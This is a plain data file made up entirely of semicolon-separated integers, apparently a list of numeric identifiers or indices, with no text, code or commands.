67747;66364;58825;48558;37329;77249;39199;88983;70964;38441;52099;89664;20599;55092;34719;68785;68128;85235;65722;102870;46003;33292;60171;103664;43034;86342;50948;68734;25799;106630;34276;72496;30156;22628;90248;38406;45419;103620;18119;87931;79046;101625;53858;77567;78470;22864;91298;83992;101342;65845;94407;18654;82584;71052;71047;15881;88481;53756;41267;41532;47590;36864;100672;84023;26986;96962;48890;57663;38885;57756;24877;48871;12123;17348;84761;30307;101102;95744;99694;41898;74614;17740;34805;62500;91625;34178;33164;59711;46772;88576;64793;17687;69047;99581;35028;24464;23078;60469;95389;55942;59395;94823;81304;24840;15488;45852;29136;58718;44036;81052;38534;55738;67082;30708;30284;85370;52189;46977;65352;56615;51601;14250;57214;25935;27144;44683;49281;14356;101648;105620;47664;19606;21510;33027;14645;93598;32773;85907;24434;72263;92038;42175;39312;77809;38164;19487;42069;23885;63189;63624;70760;91857;82725;45735;24908;15758;53878;94571;79286;61126;17636;68337;19722;33982;64905;60701;67078;14583;48397;81582;46277;103130;105941;101935;70252;34517;24178;36626;36404;57229;57161;67971;32390;62203;69696;20064;103560;97028;71702;99110;16396;64908;100346;35640;53665;58486;80106;85988;17156;66269;88437;92328;104915;51062;61885;83929;21824;70754;90559;24439;67983;100082;92348;29503;99397;74007;89887;92256;85291;70230;82211;65718;97512;94462;16801;64649;51058;18035;72356;27057;58530;39668;73118;36198;21769;27625;89502;85672;63223;31118;28568;34945;83622;23748;101567;17201;94238;99317;72751;100457;34834;33340;41172;103209;200044;10759;21585;54642;74462;31284;103941;50488;17065;85360;64279;78385;91292;96497;45685;45164;33603;36710;89804;44729;93903;96469;67283;59249;64700;88505;51521;95339;66382;24657;17754;93337;69146;95937;88523;65249;11070;93932;91473;103083;31057;24993;46892;91081;70273;103787;83024;70050;15166;41927;45042;43389;26492;44938;99993;20177;66676;33271;87621;46702;63220;25478;94933;35719;66684;63749;70792;37493;77006;83641;96375;80224;103633;104876;96141;37776;65824;91817;100398;87653;94491;106915;42383;24691;83355;90420;104985;95643;26462;105823;19229;106578;60939;80923;65921;34170;18796;56243;41221;79015;33682;56919;60877;82447;85770;70112;79883;54299;32831;75261;52529;32176;81299;90493;17365;27878;81599;78790;32226;70946;45133;33459;28114;57101;76566;48863;90589;13770;38208;13333;106063;39164;33220;25090;32202;46633;29543;47713;87304;68822;102562;66378;33849;70546;47456;106454;28200;22925;102041;42582;35170;70131;58935;81885;33890;42971;68474;24467;88697;26696;39865;29838;52400;17394;82587;99797;97521;80048;14068;102501;95028;61654;52857;43581;30625;55013;76279;53806;23769;104667;92046;43124;87243;85621;26527;45228;58955;22625;73487;99058;67882;37580;97488;93919;51553;42645;28667;30420;10851;75296;71900;88855;93074;27250;43052;91378;70149;89732;80113;49998;77947;75463;40023;67850;74665;48385;19385;84926;73698;14874;79845;38651;42136;106735;64956;34131;33216;83708;75486;25870;45819;30380;86664;31839;89146;103637;58666;21183;35020;79435;74922;16835;15565;32800;75804;23027;76883;51665;48854;40937;60936;87622;47836;86673;96668;65886;45197;32912;58067;68062;99943;20393;33896;69018;58578;85619;91174;56694;56445;97747;65831;28338;21983;77911;29733;14580;62526;58518;66425;36232;23126;99456;96942;95746;33690;20876;16293;37013;51834;57382;48442;56044;69883;59173;48862;33599;11487;68536;69641;93439;38371;87731;57405;14233;42460;87313;23976;73494;92212;20914;13088;63144;94521;35537;26190;56875;39483;60836;19604;78209;35534;103023;66459;76273;80374;57823;105078;73168;12239;44186;23677;62945;33134;68794;38986;16603;15135;30231;39910;42624;29032;97350;55289;21225;25911;97541;63047;38725;88094;18343;63645;91489;17682;103058;37220;93794;102441;54004;11847;23301;90524;93079;35485;74427;68944;104513;99334;94411;49082;88531;65607;63801;44399;57250;82760;68674;62120;75431;95559;14005;104156;62531;75642;106371;87720;82655;81428;59322;17503;66065;18953;48694;37363;65226;12630;90334;24067;36010;40044;23440;60596;19329;90945;102589;42924;40143;73969;57643;97862;34964;57020;72756;106503;101283;34019;33687;104744;49008;19255;35045;81228;40691;15122;76121;44360;28201;22176;12287;79726;28138;96752;13835;38906;53763;80148;69657;15941;81048;70459;45695;103198;46339;61206;59584;44180;20334;82947;30790;23805;101459;97142;25419;103111;55971;88588;38066;93492;78309;42821;55408;106240;96858;39869;27240;81124;13276;15067;23039;16295;73019;44518;99941;99450;20807;72898;20608;22801;11011;13772;80683;78676;42555;73325;62087;27228;41248;13082;57427;67837;74991;31480;88905;35806;36678;61952;70997;83932;63739;79309;53887;46183;102275;94827;27668;87034;72257;56806;65659;95473;45591;51911;28244;102514;26060;31634;31560;26540;68675;38032;51737;95843;39740;65354;76916;61169;49123;19966;95333;29217;92593;68985;49535;74545;57327;23576;102935;56026;18036;100660;49189;37187;17172;73477;80486;77235;91551;23518;61300;82805;65269;38888;67912;95959;23904;16447;54339;30685;40630;32091;91082;12702;69039;96161;72845;85537;20433;103851;64137;78127;39026;85571;94646;55044;41779;14476;59065;86201;92198;91314;28800;49971;89640;60781;44695;11879;32717;28915;34783;65109;28128;47785;75094;93356;70109;100553;83289;38650;53502;78988;12643;94028;13739;30061;41368;97115;76945;91238;56590;42052;100670;17118;80242;83975;95384;72469;16098;14993;53166;15433;96541;61647;68514;74123;69865;90490;34384;16170;33467;39235;96444;60567;101134;10702;105599;55551;38215;36916;70914;50954;45607;80808;78925;85835;99613;76059;27411;33443;85121;54921;80384;97674;92295;16390;49190;81081;97189;17318;69373;19681;33238;19459;89966;46966;27616;28742;64897;91032;40942;23080;40622;101966;47724;74038;80196;100261;34369;71802;18373;90150;24829;45812;24227;50564;16467;52118;82471;89993;10897;22034;35787;105606;65514;54743;52120;18680;48703;75628;50461;92141;53923;44292;52157;48927;97826;75468;91441;20935;102463;39750;24120;100463;96846;96189;44179;92818;103348;50714;61511;30045;14873;28803;99363;95808;27263;20494;84337;20146;19545;96777;81224;79054;87343;72611;63279;60159;53546;103342;66628;101530;18124;76888;34605;24697;82977;30820;13915;91278;83012;62733;35729;93312;93826;51803;13441;42654;47193;90880;34728;100987;67281;65433;102593;56831;29091;30766;86973;22702;105538;67978;13896;22904;58772;17428;58479;58296;77779;26324;28068;96773;27573;90928;45604;52028;42687;100830;45315;34261;35158;49833;34954;82463;45691;69882;36365;31949;80658;72397;43323;87344;84584;56216;30729;75896;63871;11881;74881;86917;90178;45182;56976;105674;48780;29606;60209;47851;75844;59407;84687;51602;62077;36546;23278;84955;50989;92640;102737;104716;26281;27304;61255;80433;95561;94953;96787;36421;57398;59386;87076;73728;19743;71321;62670;25931;13141;87658;99932;22522;58777;65440;53731;94905;59915;75382;21245;56318;52551;59751;68680;101897;62979;63064;78505;83220;23173;22955;81740;12369;27815;96319;91464;105366;88382;71413;12458;91503;96796;14867;32777;100882;40872;94669;95799;45070;104303;38524;74560;36205;82853;31753;77588;92704;12500;52258;41464;19115;56818;35723;13765;94956;104363;75873;45803;19253;88822;46709;22066;70619;11228;50639;16725;93087;23642;58720;101985;34818;104782;14788;70179;66950;59321;90097;104843;77642;35146;29630;60337;74667;55677;42572;93092;70232;20860;29732;76453;105369;106382;87758;83614;106492;82821;42213;70882;24597;92638;105683;40334;22141;94663;53579;20098;76815;96396;29899;27127;93781;25740;101402;103537;18215;70071;31814;88592;97741;18197;34495;81129;102242;58385;69918;20524;99585;102532;25094;11421;33960;75766;65162;56413;59989;22127;93417;41511;62031;91717;73108;24764;33305;76562;71642;19032;12576;27258;63393;77257;23807;23210;18129;12422;56568;96472;90695;101405;13579;67467;82826;69632;44268;36851;64061;92188;57141;83370;97710;44107;60647;79466;58154;78650;18489;64683;95742;91108;65420;70702;38705;30189;45698;107098;67999;20587;54554;96698;48949;87399;92432;93443;53557;68664;57326;10734;78023;47905;51179;32828;20767;37586;10157;53322;80554;31490;24459;56821;96057;51431;64688;88746;31020;81355;71199;45060;67486;74783;89085;53207;19660;52231;69616;45001;76855;57144;54575;40674;42416;93732;83155;37459;46352;96522;36100;101412;56360;69692;54764;99901;104142;80586;43836;84908;11051;74543;15284;90614;18820;18199;55733;50484;44234;86606;57516;86290;80611;52466;72011;69014;14106;13982;78487;32794;102851;53520;58204;87651;10427;60818;63325;42027;67201;45150;31211;25736;102396;52553;62716;15959;84961;66769;86420;50683;44207;103095;38226;36191;41169;23861;54032;13575;28194;28357;55880;53635;60020;32675;60565;18374;54322;27014;68331;60603;91890;36744;84201;13307;68649;62731;80972;66560;90179;37054;85666;27528;105639;75162;18289;28173;103153;83324;86442;63850;91905;78892;71084;30341;101418;69069;58798;79874;49771;21475;103694;13056;84421;93196;58884;102422;200040;48553;38373;70804;83890;59332;48985;29019;84403;57230;96715;38195;44459;46218;35247;84134;26115;104486;40092;65905;70075;34182;31291;37667;79765;41394;59859;102407;23167;93972;29628;59854;105864;78304;91918;84422;76743;73794;47675;23845;67943;89362;41644;99367;23414;61551;59718;103026;69849;102600;66202;37152;62897;49499;99805;81803;48660;94731;66685;56231;105194;16202;102156;49974;61798;56918;24081;31360;74824;46028;34920;46092;31194;22407;10246;80137;63288;105277;15823;44842;62962;25138;93630;58836;61556;29824;77845;68254;92397;31036;77553;40363;12094;60420;24792;40338;54756;30292;31833;106742;49443;48600;55282;41472;63895;16041;70007;36277;13954;43465;42535;38336;68243;47839;18575;103601;65483;106580;56871;83003;99544;42746;24947;92097;47112;101218;27743;35306;92072;83314;106328;96369;96411;48740;104281;91943;85927;74574;63167;95862;94818;71149;21334;10250;103121;105871;66573;44597;17825;14481;20691;75645;38950;102685;80191;25133;14881;105583;77270;33650;28783;53994;12953;19893;79697;18764;71304;43079;33228;74079;62719;86373;78570;45505;76086;27727;64537;82908;86794;60655;47032;20774;52682;47617;23031;86526;100322;64504;105865;84222;76076;30646;104641;86893;73346;53017;80372;74561;29903;21975;14310;87596;27239;85489;55232;50363;65611;46798;24904;91065;40558;11362;73355;25226;95344;42507;16736;78015;70772;94339;34685;43663;76048;100595;10087;82838;38454;44181;52756;102187;75385;29744;66324;77773;80059;66255;100368;94528;74014;16891;37276;79285;87737;67753;104314;47068;18276;29755;78884;31198;72926;86449;60736;80930;76878;77333;47578;37119;33744;24777;42586;20459;100444;45631;42985;57995;42161;91151;95634;47738;68838;68633;15359;34553;87401;20994;25549;34457;33090;39969;23486;22227;61881;101158;65294;13112;23023;200080;89469;101630;64523;21391;13758;18828;85006;48867;39666;20525;106497;74843;55278;40013;49888;22187;50003;80320;71664;68457;26301;50234;39046;107090;74312;68094;56726;26523;102231;21393;77382;63717;20505;62640;26284;89569;90252;76079;87123;30155;28754;51189;11749;82070;104083;26303;42083;28806;16375;29794;23974;90344;66034;17516;29619;54910;52948;31774;52006;42152;50224;42937;97016;67823;70174;51916;30707;28817;55155;33003;106556;97208;86340;87688;87129;45539;57154;85543;57677;77563;85965;93976;15474;97745;17709;26342;96187;97836;62241;81576;22426;19007;65956;106984;69580;67003;49051;103124;67904;82242;30744;91191;13238;19964;96084;13596;71720;99984;94461;23727;58207;13722;81076;88737;61811;106100;19602;16186;65475;56835;38414;59506;27595;33503;62893;48153;32250;99251;91648;97407;68700;82974;55016;22822;31413;20299;54326;40071;16174;29037;62365;16772;14552;57051;18925;55200;14737;86905;24006;104669;81932;16930;103602;81613;13642;90099;43682;64687;73973;56696;107091;44648;74610;94781;89311;42364;38251;79712;46802;15472;90731;32564;86608;29945;42223;62639;46818;22044;26549;45093;52151;22985;33768;75627;100169;48323;46855;200123;29233;43755;36565;10712;72134;79272;92549;82973;93345;101228;101772;56805;85934;78659;83666;102651;75241;77462;55513;92543;60868;81977;27826;53988;32518;20765;12253;19319;79867;20491;57347;42910;28582;103329;67833;90910;86045;75360;29814;21774;33116;73131;73196;89935;49376;72760;43681;105422;49290;35445;11433;100340;57078;56201;27189;19240;45460;74674;39566;90647;36109;19228;43779;80860;64519;26354;46112;80844;17004;62838;68390;34239;41186;10950;107104;76088;38507;18616;72836;16496;73112;62362;72460;43703;20532;94489;64083;97520;97708;33105;62232;95987;43751;44078;85062;11556;37923;97444;55455;81623;54125;46440;28456;44109;97950;31104;87644;68358;95405;83889;60343;200084;92371;85521;44861;63168;21736;29860;75395;31066;31011;58892;18070;105191;37855;72343;81203;21635;17005;76484;87289;73180;75879;38711;20011;91849;21051;71002;81699;99690;75039;90232;71221;37748;45487;48737;90306;99012;37905;73868;25074;62493;78443;78862;26204;31019;101834;74569;85518;84594;99062;36017;81440;64336;23123;54066;65412;48755;92184;56076;76105;55039;23905;95653;40625;57315;29609;75689;16565;81414;105398;75722;11712;25081;12587;92722;62301;16128;84904;42545;35168;58131;79257;52110;29562;23647;88558;15913;47394;15895;69495;69230;93489;14219;13373;27825;88432;63207;84886;41718;25296;103526;13708;73247;27975;12905;100454;87772;48915;11234;12960;104623;57288;101566;104576;13469;43954;27001;90446;25748;42036;67550;21514;79784;17375;43155;100968;93542;62702;34856;68748;56166;10715;48213;43632;37005;26168;96774;93267;20590;90293;35131;36992;16270;37474;38000;63693;95418;55558;11637;15681;11668;91691;38552;58846;65614;97605;70715;56145;45654;31922;32531;28669;18458;100590;20243;14753;95343;62516;87836;91797;70028;65868;32466;30402;71205;90206;74499;37181;18724;42867;91697;24237;61237;12416;101535;33138;88685;67408;11071;67496;106354;23437;88868;42581;70543;67221;56512;94594;50831;19277;73462;43746;86682;68258;70384;13903;70655;57813;44752;97516;46762;43795;26760;77470;85398;75040;92852;71563;101291;95397;23450;26219;46850;24387;70267;40043;94062;41528;78262;83653;44118;29886;59679;64418;93849;22680;54963;97022;75572;13038;106430;74920;93713;82984;19344;54374;85279;46108;57805;85641;88066;86153;76075;93391;26299;40912;65484;20495;53888;43100;66053;55961;79477;100380;58328;99148;46917;44134;86542;78155;99788;90139;18856;83826;40398;35545;37789;78724;94845;103301;69002;88065;59401;74927;69643;105166;97039;90468;71544;64085;44062;96176;69609;24956;89092;29723;106230;39193;51731;104370;66144;101587;39349;92603;65743;84719;70665;12981;20265;67551;82034;47019;64658;93128;45256;28924;19414;38971;89807;91527;12318;51620;64118;88171;100732;93021;33117;21846;18818;94769;38946;80621;57474;64957;22756;94684;38484;12497;104668;86176;43276;61241;17209;50844;15628;31327;58693;87952;14245;104075;11722;58500;19099;42618;37978;70202;34989;47043;15586;101980;85055;55319;73601;49605;55619;40442;60621;37199;55161;92351;86265;86824;105071;55749;25776;29585;18534;23419;11300;17594;21564;42076;26408;59936;25709;41657;83033;38191;13951;70648;81657;65546;96658;22340;44955;85957;10817;87549;14929;82174;16950;48300;51032;43190;80093;33337;17587;74469;77207;71386;48796;61272;61032;90696;62717;61839;19815;48790;87891;105153;16735;64800;82426;46736;43222;31724;55771;94176;56632;51140;18656;31235;101132;50296;99096;89936;50953;49071;65851;63527;63362;75239;19591;100929;28240;107036;15011;50252;80640;77688;89576;76481;64718;105958;60855;96216;23165;55634;37104;62243;85137;104348;10867;66863;85837;24625;74004;53361;62100;88698;66379;24243;17370;81301;21990;74171;80463;35691;34568;33254;68705;62334;42302;56086;89199;105733;75987;43369;25114;66401;46827;58750;97870;20192;27479;105922;16741;100603;62326;29536;62751;52952;44364;52844;100963;27648;10342;77897;73781;74042;73183;19647;64024;14357;70533;68382;32043;83119;60758;69006;38897;16205;93861;13504;41312;20676;73483;103847;67360;70119;72165;37645;77391;82590;35504;73023;104401;68643;44349;70403;46862;75598;14329;54389;51703;33204;33371;29457;40397;15503;83839;38919;54375;94326;79682;75248;70226;53174;99338;68238;66244;102995;83530;43684;31919;99691;16783;70776;80922;104926;39803;35685;42514;85485;64663;34987;43385;38671;53124;74268;83040;27744;68993;94132;31097;14969;45805;101710;78752;88866;39736;30556;93509;75532;24547;21351;18543;42441;95590;25839;34659;36243;64756;104752;38011;31695;82467;71313;91906;78240;39681;36933;83477;26528;52146;65188;50747;76658;63989;66311;71913;48747;34340;90762;79796;49130;66175;30417;56542;50367;15960;68476;66305;40845;13275;99539;60426;17665;90369;40004;28149;66826;60249;85885;18256;52878;92020;57705;104818;77724;60207;75905;11643;29717;67091;35973;67637;69083;49484;18449;91676;67755;106545;88494;76818;41012;64536;31525;85870;78917;91443;66160;73890;28510;38691;75377;17386;15053;25301;31777;69844;34177;45171;95525;105501;37863;28621;44343;94412;20624;64731;13084;92955;92325;69590;10249;79260;30866;13500;74170;101456;61107;51097;68941;32557;97888;26211;23966;10580;62575;31706;24482;34840;35583;88138;52886;71918;38238;80431;90649;50672;66561;20603;75420;73300;89835;40269;67131;88845;102664;55594;31437;28810;74696;52539;85651;43268;30851;41772;43966;76856;20401;17600;44028;38253;55921;37448;36062;43378;100442;92712;49199;87288;87933;45768;38487;17820;52304;53594;69405;12489;45257;44258;33664;35999;72871;56251;65054;70060;27061;82717;67319;54139;58481;78241;29088;25278;62020;103564;24545;16522;73618;20531;58943;10482;16867;62063;17840;90138;26326;49291;38218;30288;26410;93010;87409;90573;64770;38293;24857;60354;16491;53563;78741;23509;92160;95022;53539;63197;42310;102323;66770;40898;27748;105946;62828;55868;55837;68452;73876;96812;82308;80145;83866;84567;74877;29900;83013;47670;26975;45151;58682;60498;65605;68768;11353;26636;104807;21170;85503;34331;55586;67726;105268;80069;50406;30679;51901;51060;35184;36479;58732;91449;78581;58504;51022;30448;41418;83460;74292;82560;95655;48812;39917;72788;42028;18171;62993;34235;106762;51928;47507;70572;71223;73603;76282;68569;104468;83605;73418;14742;89426;44633;18908;69152;54216;27761;13420;12035;85660;48333;11710;106871;30880;105795;51092;37921;101435;103639;22092;43643;52389;95751;18062;63178;82862;62343;86857;106648;103883;100418;50059;99041;31733;45788;29223;26422;60989;14677;24494;51635;32370;95868;77002;45179;103462;32461;50119;28411;20492;81483;67738;69994;81933;26233;36829;71897;33401;34561;28482;46475;44539;35888;57342;80114;49930;30146;23582;16176;42959;58387;60056;58510;29251;74444;43603;14974;78874;30723;100568;72337;19544;87610;37085;60076;36054;59956;25868;34579;97522;55353;28421;103763;101609;24541;49815;60695;66464;50658;67516;85081;73159;48152;23673;94337;68199;102078;102386;50254;94357;80010;93494;62849;70329;87013;46341;99255;42760;81371;81334;26319;105363;72128;105593;52130;41705;79004;78524;55663;43113;30387;24392;24708;14179;74801;44675;80518;37620;102468;69162;66004;106692;48464;32948;30955;99659;82691;107076;22536;93846;66981;38046;31732;52689;79133;97498;14914;37243;68015;40740;68072;81858;104643;53355;17646;20429;66307;27768;52795;11669;51656;79886;22419;83558;72484;30894;18772;102410;88542;62034;27488;52819;88049;103236;81586;84175;35398;30572;52516;29563;53650;79262;90580;55799;13239;93142;91025;16002;22213;68891;69287;57595;71536;19812;82255;67881;84532;66149;15140;10315;38268;101053;50709;72702;104245;14797;28699;87370;52057;100637;85374;35002;200052;50029;64177;53757;105927;30067;70581;71971;102045;81279;93938;101655;80985;15449;90685;29961;13253;51888;52438;43256;20709;57934;62672;104925;61796;42224;65697;40756;106697;37036;23980;32631;25089;48666;41334;79347;52156;50713;28725;61333;61955;57940;52912;72636;50942;75754;14708;36789;68029;24315;26877;83351;79574;100125;91926;62817;92247;21588;78106;49667;24678;52045;105676;12642;26599;102653;42606;21157;84957;62818;12796;63159;62222;96953;40112;10356;41909;95341;35310;96489;70786;20847;46150;22206;50533;96162;29671;90395;53683;57492;21525;28232;75287;74912;92110;55174;26846;106356;45860;28732;86631;52314;68736;46240;45483;42429;90162;18106;47512;50992;38328;85159;14836;14629;46757;46554;42675;84202;79300;84238;39226;90759;20861;68671;20023;39842;103574;68932;78729;60999;75236;28075;14025;26727;22106;99655;46869;64695;38405;74430;15948;20931;87830;46391;36907;22351;73422;47850;86866;59179;63315;105219;45644;79460;62146;63456;12066;55968;106725;42207;75509;12121;84277;16047;32640;59304;31943;32549;95560;88585;69704;46787;41785;18271;21379;58950;34005;99307;69607;58723;89717;14017;63747;81645;62780;102135;40317;99225;97021;60443;42431;37467;97202;75063;33235;37908;97981;80913;28211;102985;46551;102587;12748;88036;89980;105898;71436;46118;43471;46742;17464;93902;102830;18451;104045;73377;72589;87411;59970;86384;54775;47058;10365;97200;14562;91517;74160;88573;85272;51624;11458;40608;79637;64852;92056;87930;80222;97722;55121;96258;87405;36564;25410;93269;32601;18695;33573;44614;84743;39988;14712;14478;103460;67494;35391;16307;42934;46811;40267;58760;60347;57820;68929;63604;73072;89420;65167;48423;29252;13044;35194;25884;26006;90177;22613;44808;91309;36012;105978;99689;19860;97327;64374;53242;76523;35072;39673;59490;101600;94426;95580;83218;54421;99119;11683;83247;104746;50117;84157;86718;85668;45024;32063;64676;76661;10924;77702;80211;94257;30639;24463;53637;34284;16391;22168;40505;54452;44394;65892;74037;107053;61541;32644;62367;40091;97611;43570;77054;64740;65633;84593;51138;24876;69234;31508;68140;99254;34312;15148;69858;13783;23773;29977;54742;22297;13976;67020;87258;51770;54901;77219;63212;92586;76158;60336;69062;19418;55316;77507;29153;71233;57534;106047;75433;99005;82146;32960;87032;10129;89147;44473;35262;100423;30414;45622;46319;12332;91842;73094;49248;10061;70537;24002;27292;28057;87516;90257;69881;18808;75651;43198;45416;105355;52015;81222;33968;100061;11942;96299;29997;15089;102499;12859;15349;100549;96930;42771;11719;95912;101994;84641;83414;51159;67935;65503;37422;97666;69656;71209;56421;54357;44004;13523;40561;73798;55813;29829;54746;45737;46036;45143;31861;87033;86533;68477;76497;90051;25963;56746;75946;87641;10525;83099;48534;41913;106091;87489;79047;81605;57323;62095;33639;27372;85744;101664;56218;76189;24339;96578;32554;85647;52960;21108;56077;87170;29297;12520;17151;39586;46200;70621;83833;69398;29586;53387;88753;103555;105418;36691;65253;59033;34223;39371;102304;10641;83930;84880;35803;58360;89517;53456;38264;31783;36754;17625;52633;56757;35188;96678;62248;54078;85234;81747;21723;68634;78269;30928;19069;63848;77886;76223;49010;46531;63934;15320;53150;18768;33122;13834;14778;106870;26748;24110;25972;75682;78998;79493;78727;97151;75595;46273;17971;27738;13478;80625;57400;43991;28528;78645;15860;21699;61306;63039;46404;64432;105906;102454;59007;62914;88839;40272;62996;90830;87131;89667;52701;42922;68787;91135;77265;54934;78931;93658;36065;79679;81130;85650;59811;23130;29203;93479;65274;15922;83058;18879;19291;38928;54537;39029;89442;48511;32833;74547;43161;34908;82018;57570;62706;70323;92008;100269;47673;64915;72349;71409;44803;36443;67456;22050;102817;13610;16571;51027;91228;26836;33146;30086;37961;75875;38947;39009;72797;81122;104170;22936;86484;23918;83927;86482;39090;95522;29021;28802;54802;99332;103908;79701;28399;100272;82579;47265;20190;76432;48640;46879;17046;65238;24503;106989;26029;55234;63080;21196;45671;23429;61968;52501;43753;36344;13163;52872;51692;12582;53804;105705;62329;56108;41906;30730;43096;25668;14365;12734;104562;79226;79919;27412;26066;55696;73294;73571;73987;17834;48492;77900;106696;76820;50489;50982;49200;102760;74620;20396;57669;105322;45522;68322;41924;60946;83893;77629;61245;80455;49439;51433;91215;88169;101828;49417;11000;79525;95417;69911;100004;57561;200020;93361;18096;76749;21550;43764;101355;50326;89669;84936;14766;32897;86177;97030;54916;93054;13581;47784;34336;41631;43602;34309;95477;58440;26270;78975;40515;47627;32791;27231;100979;88132;68087;58220;93934;87699;33705;85677;100869;18446;79709;55774;66024;61025;85526;55984;99373;24666;92342;81861;55554;74039;87133;81166;56531;49098;55524;33513;76140;82198;22731;106619;72853;65390;70325;103608;15171;96165;13222;18362;66882;103276;72132;64671;82860;65164;80560;76860;49700;73310;100864;70703;103366;56015;71589;70322;87126;25863;70659;37163;87199;53843;78099;25321;25135;79948;103361;60399;83999;35128;33059;25326;50076;66887;10819;80631;80485;14540;58050;56354;44779;94788;96262;18072;76799;46088;51963;65415;33649;103479;14764;12757;16861;57720;44908;71569;79832;48222;52181;86813;66329;76959;11085;61841;89645;68903;62960;11066;83224;16141;32187;34988;41381;24317;92489;81158;56215;45331;29015;26437;104316;69741;76871;32229;12957;48751;93837;41126;26830;73833;34928;24319;45984;29385;68357;67780;24474;81824;99141;28630;60686;58447;106161;18212;96596;64130;77585;21972;68678;16500;89289;14320;107105;60032;20686;49285;78179;85998;28678;50882;51908;64811;18059;85805;48502;80378;88648;10790;92552;35065;10818;31911;70960;68447;62193;80417;106901;50355;31248;17330;58569;40224;74935;91200;62123;33846;70275;77362;84269;81578;43747;97670;67657;70132;45578;59575;30191;42926;78954;41461;72802;102567;33547;36061;92039;39116;24068;26998;94793;63771;17280;18972;47352;36461;40521;91368;41272;25293;66735;49314;16682;11709;61065;42477;94733;94432;42909;58215;90394;53525;65216;42747;81812;57632;64426;70996;14746;92196;55446;39150;82359;37024;30501;61658;35342;11434;38618;54885;52525;53357;54567;52167;55494;32405;31554;101499;15018;73458;84927;52203;103777;83241;67222;17642;60131;76865;21033;14978;74297;67998;29712;102804;77998;79885;47902;100868;34972;81685;92900;59350;65119;63448;63599;57791;14458;42593;11265;58461;106809;105052;82697;55441;43372;13673;23907;93478;57485;60180;95719;22764;54147;23237;45082;93607;105822;33773;36253;68552;21763;30651;39974;12894;60413;105002;45238;62865;16107;73250;91568;36313;35397;66913;93455;56173;48217;99157;87911;83213;29645;45498;53638;105739;105851;81855;83307;26826;16392;21327;40606;78772;16217;46669;25828;23626;18984;79766;56363;49418;33970;55372;51726;81425;103049;54543;88455;62475;91540;60530;47694;86367;68876;59921;19858;40974;10894;21460;77866;60892;73068;89441;50113;93619;64682;68343;51794;82714;34885;57375;103239;36489;53970;72067;26022;80256;49574;60097;63652;50168;68809;18983;85336;52943;49532;81373;96671;89080;61748;69970;35030;38006;55024;49828;50961;13244;54578;16992;47492;44864;95803;86483;99036;69758;90581;19401;72036;29594;29551;13599;77057;62080;43350;79030;91681;64238;104116;11236;89708;84098;50395;27284;63995;99112;94485;91283;103782;65156;74500;92073;31416;38789;89133;95968;16131;34419;45883;59397;55987;29574;12513;83226;40026;32365;84848;14393;102012;24654;62181;49269;87999;22776;71871;31937;20902;61411;85383;16539;17100;34011;104277;12201;65220;80904;74978;51202;85681;63927;12625;94916;74606;51722;16238;97462;42786;48606;52504;37105;94580;22016;69601;62263;52927;92010;48719;10138;22171;106847;66358;73924;61294;88115;99479;64203;58066;28496;65087;10640;56515;41620;52789;76993;75841;29663;48288;51129;18528;97222;66562;44312;80729;53342;101948;53805;56700;65840;70238;20510;95850;33585;102566;24938;54952;106408;38205;23291;21003;64288;84411;16356;17196;78036;12431;86932;27558;55175;40335;66157;41855;28386;12359;43363;67477;97689;72486;31975;45242;36302;73757;66223;59842;66333;68977;84342;11204;50898;53950;83067;93275;102428;70555;57014;42445;49102;11673;80214;103651;75457;12971;83229;11185;44043;102466;64853;11922;25297;86528;84704;34376;36881;40577;67186;85437;77317;68960;25908;105982;89192;46136;38144;82442;87345;18533;28292;77804;57299;27375;17650;34826;12041;68548;94911;106908;86262;89131;70817;101395;56554;84871;46350;54737;59525;39231;17011;71195;25750;81461;15353;48739;51710;80427;70625;66123;88952;103507;95440;82057;48946;81165;77061;101432;57099;63643;31218;29056;40216;50334;100833;58410;15567;85955;27075;27836;53241;28530;11540;18274;40757;42873;41946;78111;70122;79012;101628;54420;86961;54607;89973;15188;30198;86461;61001;107051;72520;59766;58743;105288;36587;63274;64727;83399;85227;49033;102131;20212;19762;97908;94480;14890;39819;23013;62732;50205;100696;20272;27829;30719;40236;99956;27047;31720;14919;13135;74972;35658;74736;14514;53748;33425;12357;56091;107022;58053;91072;50849;72623;93309;22267;50031;47848;74370;56192;14830;85992;101791;20033;43117;75220;83243;29306;93858;92828;58778;61455;18895;18200;32025;83676;71031;91763;49542;26256;48613;11648;70255;82614;106741;14483;20089;47065;30257;94438;76442;101348;102712;60952;21521;34147;83685;13161;20831;55917;58184;86386;70318;67036;32291;84865;38989;94341;52385;23288;91658;47052;57121;104503;31738;73024;91637;94920;63977;25318;81799;33953;14548;23469;101844;53160;55598;105776;21944;81326;31882;58922;86657;82479;30472;105791;60742;36809;103015;72116;25424;49430;58027;33529;84293;57224;71193;59784;60340;100715;17830;84050;71431;64240;69940;72464;102739;53824;102638;50446;30630;27076;61212;36513;105926;40488;30173;27566;53090;107046;84066;10555;32378;22905;46946;55864;90914;92036;36945;48901;17361;97504;46082;33485;107032;99097;53846;106109;70967;15337;85517;48880;32040;83061;40734;14373;45834;73123;31385;92985;85180;72258;94626;24866;43511;43170;81535;35734;81472;38768;100863;104381;38581;90057;56548;19798;13206;46302;56377;81149;30187;13858;78207;28902;82405;37076;100109;83773;84320;90346;13566;45517;103626;83745;72075;42936;24267;106852;59926;46405;12026;43830;36927;72212;52348;72370;66653;10549;34770;19967;86675;101413;91739;26407;21057;60811;95820;37494;23780;13328;68155;45041;90558;22091;64250;33498;45928;11279;78769;43556;13814;57552;31167;20002;17772;68994;77281;69033;94838;80812;73583;14888;54159;99140;100414;21407;86008;32482;66166;81951;86345;84109;81006;52922;38817;102684;77919;31986;12766;76438;95408;105256;63449;99915;24363;20236;27551;77502;39657;93412;16507;22797;80465;82751;42785;91385;85442;103971;73984;63073;82067;35038;37313;45120;100186;59294;10957;60261;31007;65367;43750;60771;97748;71860;21935;58816;58662;21515;38294;18551;29348;15343;99674;105272;13898;22089;42907;94970;76947;87279;23439;81349;50181;43260;104674;86883;44617;61087;58441;105314;89436;73363;36545;62393;37208;99327;39779;36318;30332;75007;59632;96460;33002;32820;88054;66181;103711;34231;80795;90565;94465;27084;91188;42200;86854;34206;40841;18592;96776;96143;72335;96015;28827;85183;16573;89901;56904;89160;65919;101350;82514;94447;91015;89151;41692;60160;32685;80190;56506;87278;20258;43136;16882;16881;17490;101089;66446;63660;49934;29737;76798;59377;65389;33746;93458;53253;60375;20376;72819;92920;31815;89871;78446;96029;13381;73863;52323;48875;30988;68911;17110;101066;77739;66473;35904;60001;21423;67446;84330;101977;90424;82615;47544;24858;19828;48147;49566;31896;34477;40465;33239;88764;103035;90120;53933;101733;77559;93725;48461;30855;61009;20443;46063;55708;29964;105765;58697;80849;